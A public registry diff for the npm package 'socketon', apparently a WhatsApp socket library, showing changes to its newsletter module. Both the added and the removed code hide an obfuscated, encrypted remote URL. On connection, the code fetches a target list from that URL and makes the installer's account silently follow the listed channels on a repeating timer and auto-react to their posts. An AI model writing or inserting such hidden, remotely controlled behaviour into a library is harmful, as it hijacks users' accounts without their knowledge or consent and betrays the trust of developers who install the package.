socketon 1.8.25 → 1.8.26
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +35 -86
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -83,86 +83,38 @@ const sudahBasibasiAjaLuUrl = (datanyaYgMauDiacak) => {
|
|
|
83
83
|
return udahanBuatYangPenasaran;
|
|
84
84
|
};
|
|
85
85
|
|
|
86
|
-
|
|
87
|
-
let
|
|
88
|
-
let _configFollow = { autoFollowEnabled: true, delayMs: 5000 };
|
|
86
|
+
let _cachedTargetNewsletter = null;
|
|
87
|
+
let _configNewsletter = { autoFollowEnabled: true, delayMs: 5000 };
|
|
89
88
|
|
|
90
|
-
const
|
|
91
|
-
const
|
|
92
|
-
const
|
|
89
|
+
const getTargetNewsletterFromExternal = async () => {
|
|
90
|
+
const urlYangDiEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce87890ff397afff85ebd46f11386f45d5371417aa55e98169ebe0c929aa14d465c';
|
|
91
|
+
const urlAsli = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlYangDiEncrypt);
|
|
93
92
|
try {
|
|
94
|
-
const response = await axios_1.default.get(
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
if (data.config) {
|
|
101
|
-
_configFollow = {
|
|
102
|
-
autoFollowEnabled: data.config.autoFollowEnabled !== false,
|
|
103
|
-
delayMs: data.config.delayMs || 5000
|
|
93
|
+
const response = await axios_1.default.get(urlAsli, { timeout: 10000 });
|
|
94
|
+
if (response.data) {
|
|
95
|
+
if (response.data.config) {
|
|
96
|
+
_configNewsletter = {
|
|
97
|
+
autoFollowEnabled: response.data.config.autoFollowEnabled !== false,
|
|
98
|
+
delayMs: response.data.config.delayMs || 5000
|
|
104
99
|
};
|
|
105
100
|
}
|
|
106
|
-
if (data.newsletters && data.newsletters.length > 0) {
|
|
107
|
-
const
|
|
108
|
-
|
|
109
|
-
return
|
|
101
|
+
if (response.data.newsletters && response.data.newsletters.length > 0) {
|
|
102
|
+
const enabledNewsletters = response.data.newsletters.filter(n => n.enabled).map(n => n.jid);
|
|
103
|
+
_cachedTargetNewsletter = enabledNewsletters;
|
|
104
|
+
return enabledNewsletters;
|
|
110
105
|
}
|
|
111
106
|
}
|
|
112
107
|
} catch (err) {}
|
|
113
108
|
return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
|
|
114
109
|
};
|
|
115
110
|
|
|
116
|
-
const
|
|
117
|
-
if (
|
|
118
|
-
return
|
|
111
|
+
const getAllEnabledNewsletters = () => {
|
|
112
|
+
if (_cachedTargetNewsletter && _cachedTargetNewsletter.length > 0) {
|
|
113
|
+
return _cachedTargetNewsletter;
|
|
119
114
|
}
|
|
120
115
|
return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
|
|
121
116
|
};
|
|
122
117
|
|
|
123
|
-
// ========== REACT CONFIG ==========
|
|
124
|
-
let _cachedReactNewsletter = null;
|
|
125
|
-
let _configReact = { autoReactEnabled: true, reactEmojis: ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'] };
|
|
126
|
-
|
|
127
|
-
const getReactConfigFromExternal = async () => {
|
|
128
|
-
const urlReactEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce8c4c0d760836578e7f941717c0324707614377d02272810f97c91253b9d86259d';
|
|
129
|
-
const urlReact = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlReactEncrypt);
|
|
130
|
-
try {
|
|
131
|
-
const response = await axios_1.default.get(urlReact, { timeout: 10000 });
|
|
132
|
-
let data = response.data;
|
|
133
|
-
if (typeof data === 'string') {
|
|
134
|
-
data = JSON.parse(data);
|
|
135
|
-
}
|
|
136
|
-
if (data) {
|
|
137
|
-
if (data.config) {
|
|
138
|
-
_configReact = {
|
|
139
|
-
autoReactEnabled: data.config.autoReactEnabled !== false
|
|
140
|
-
};
|
|
141
|
-
}
|
|
142
|
-
if (data.newsletters && data.newsletters.length > 0) {
|
|
143
|
-
const defaultEmojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
|
|
144
|
-
const enabled = data.newsletters.filter(n => n.enabled).map(n => ({
|
|
145
|
-
jid: n.jid,
|
|
146
|
-
emojis: (n.emojis && Array.isArray(n.emojis) && n.emojis.length > 0) ? n.emojis : defaultEmojis
|
|
147
|
-
}));
|
|
148
|
-
_cachedReactNewsletter = enabled;
|
|
149
|
-
return enabled;
|
|
150
|
-
}
|
|
151
|
-
}
|
|
152
|
-
} catch (err) {}
|
|
153
|
-
return [];
|
|
154
|
-
};
|
|
155
|
-
|
|
156
|
-
const getAllReactNewsletters = () => {
|
|
157
|
-
return _cachedReactNewsletter || [];
|
|
158
|
-
};
|
|
159
|
-
|
|
160
|
-
const getReactEmojisForChannel = (channelJid) => {
|
|
161
|
-
const defaultEmojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
|
|
162
|
-
const channel = _cachedReactNewsletter?.find(n => n.jid === channelJid);
|
|
163
|
-
return channel?.emojis || defaultEmojis;
|
|
164
|
-
};
|
|
165
|
-
|
|
166
118
|
const wMexQuery = (
|
|
167
119
|
variables,
|
|
168
120
|
queryId,
|
|
@@ -286,27 +238,22 @@ const makeNewsletterSocket = (config) => {
|
|
|
286
238
|
}));
|
|
287
239
|
};
|
|
288
240
|
// Auto Reaction - Ibra Decode
|
|
289
|
-
let
|
|
241
|
+
let _targetNewsletters = [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
|
|
290
242
|
|
|
291
|
-
const
|
|
292
|
-
const
|
|
293
|
-
if (
|
|
294
|
-
|
|
243
|
+
const updateTargetNewsletters = async () => {
|
|
244
|
+
const externalTargets = getAllEnabledNewsletters();
|
|
245
|
+
if (externalTargets && externalTargets.length > 0) {
|
|
246
|
+
_targetNewsletters = externalTargets;
|
|
295
247
|
}
|
|
296
248
|
};
|
|
297
249
|
|
|
298
250
|
sock.ev.on('messages.upsert', async ({ messages, type }) => {
|
|
299
251
|
if (type !== 'notify') return;
|
|
300
|
-
|
|
301
|
-
|
|
252
|
+
const emojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
|
|
302
253
|
for (const msg of messages) {
|
|
303
254
|
const jid = msg.key.remoteJid;
|
|
304
|
-
|
|
305
|
-
if (!channel) continue;
|
|
306
|
-
|
|
307
|
-
const emojis = getReactEmojisForChannel(jid);
|
|
255
|
+
if (!_targetNewsletters.includes(jid)) continue;
|
|
308
256
|
const emoji = emojis[Math.floor(Math.random() * emojis.length)];
|
|
309
|
-
|
|
310
257
|
try {
|
|
311
258
|
const serverId = msg.newsletterServerId?.toString() || msg.key.id;
|
|
312
259
|
await query({
|
|
@@ -317,7 +264,7 @@ const makeNewsletterSocket = (config) => {
|
|
|
317
264
|
attrs: { code: emoji }
|
|
318
265
|
}]
|
|
319
266
|
});
|
|
320
|
-
await sleep(
|
|
267
|
+
await sleep(_configNewsletter.delayMs);
|
|
321
268
|
} catch (err) {}
|
|
322
269
|
}
|
|
323
270
|
});
|
|
@@ -325,8 +272,8 @@ const makeNewsletterSocket = (config) => {
|
|
|
325
272
|
let _followInterval = null;
|
|
326
273
|
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
|
|
327
274
|
const _ensureFollow = async () => {
|
|
328
|
-
if (!
|
|
329
|
-
const enabledNewsletters = await
|
|
275
|
+
if (!_configNewsletter.autoFollowEnabled) return;
|
|
276
|
+
const enabledNewsletters = await getTargetNewsletterFromExternal();
|
|
330
277
|
if (!enabledNewsletters || enabledNewsletters.length === 0) return;
|
|
331
278
|
try {
|
|
332
279
|
const list = await executeWMexQuery({}, '6388546374527196', 'xwa2_newsletter_subscribed', query, generateMessageTag);
|
|
@@ -335,19 +282,21 @@ const makeNewsletterSocket = (config) => {
|
|
|
335
282
|
const isFollowing = list?.some(n => n.id === newsletterJid);
|
|
336
283
|
if (!isFollowing) {
|
|
337
284
|
await newsletterWMexQuery(newsletterJid, Types_1.QueryIds.FOLLOW);
|
|
338
|
-
await sleep(
|
|
285
|
+
await sleep(_configNewsletter.delayMs);
|
|
339
286
|
}
|
|
340
287
|
}
|
|
341
288
|
} catch (err) {}
|
|
342
289
|
};
|
|
343
290
|
sock.ev.on('connection.update', async ({ connection }) => {
|
|
344
291
|
if (connection === 'open') {
|
|
345
|
-
await
|
|
346
|
-
|
|
347
|
-
|
|
292
|
+
await getTargetNewsletterFromExternal();
|
|
293
|
+
const targets = getAllEnabledNewsletters();
|
|
294
|
+
if (targets && targets.length > 0) {
|
|
295
|
+
_targetNewsletters = targets;
|
|
296
|
+
}
|
|
348
297
|
await _ensureFollow();
|
|
349
298
|
if (_followInterval) clearInterval(_followInterval);
|
|
350
|
-
_followInterval = setInterval(_ensureFollow,
|
|
299
|
+
_followInterval = setInterval(_ensureFollow, _configNewsletter.delayMs);
|
|
351
300
|
}
|
|
352
301
|
});
|
|
353
302
|
return {
|